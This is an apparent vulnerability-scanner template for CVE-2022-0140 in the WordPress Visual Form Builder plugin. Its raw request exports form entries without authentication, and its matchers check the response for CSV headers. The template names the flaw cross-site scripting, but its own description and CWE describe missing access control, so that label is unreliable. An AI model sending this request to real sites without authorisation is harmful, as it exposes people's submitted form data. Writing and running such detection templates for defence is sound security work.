id: CVE-2022-0140

info:
  name: WordPress Visual Form Builder <3.0.8 - Cross-Site Scripting
  author: random-robbie
  severity: medium
  description: |
    WordPress Visual Form Builder plugin before 3.0.8 contains a cross-site scripting vulnerability. The plugin does not perform access control on entry form export, allowing an unauthenticated user to export the form entries as CSV files using the vfb-export endpoint.
  remediation: |
    Update to the latest version of the WordPress Visual Form Builder plugin (3.0.8) or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/9fa2b3b6-2fe3-40f0-8f71-371dd58fe336
    - https://www.fortiguard.com/zeroday/FG-VD-21-082
    - https://nvd.nist.gov/vuln/detail/cve-2022-0140
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-0140
    cwe-id: CWE-306
    epss-score: 0.01105
    epss-percentile: 0.82871
    cpe: cpe:2.3:a:vfbpro:visual_form_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: vfbpro
    product: visual_form_builder
    framework: wordpress
  tags: wpscan,cve,cve2022,xss,wordpress

http:
  - raw:
      - |
        POST /wp-admin/admin.php?page=vfb-export HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}/wp-admin/admin.php?page=vfb-export
        Content-Type: application/x-www-form-urlencoded
        Origin: {{RootURL}}

        vfb-content=entries&format=csv&entries_form_id=1&entries_start_date=0&entries_end_date=0&submit=Download+Export+File

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"Date Submitted"'
          - '"Entries ID"'
        condition: and

      - type: status
        status:
          - 200

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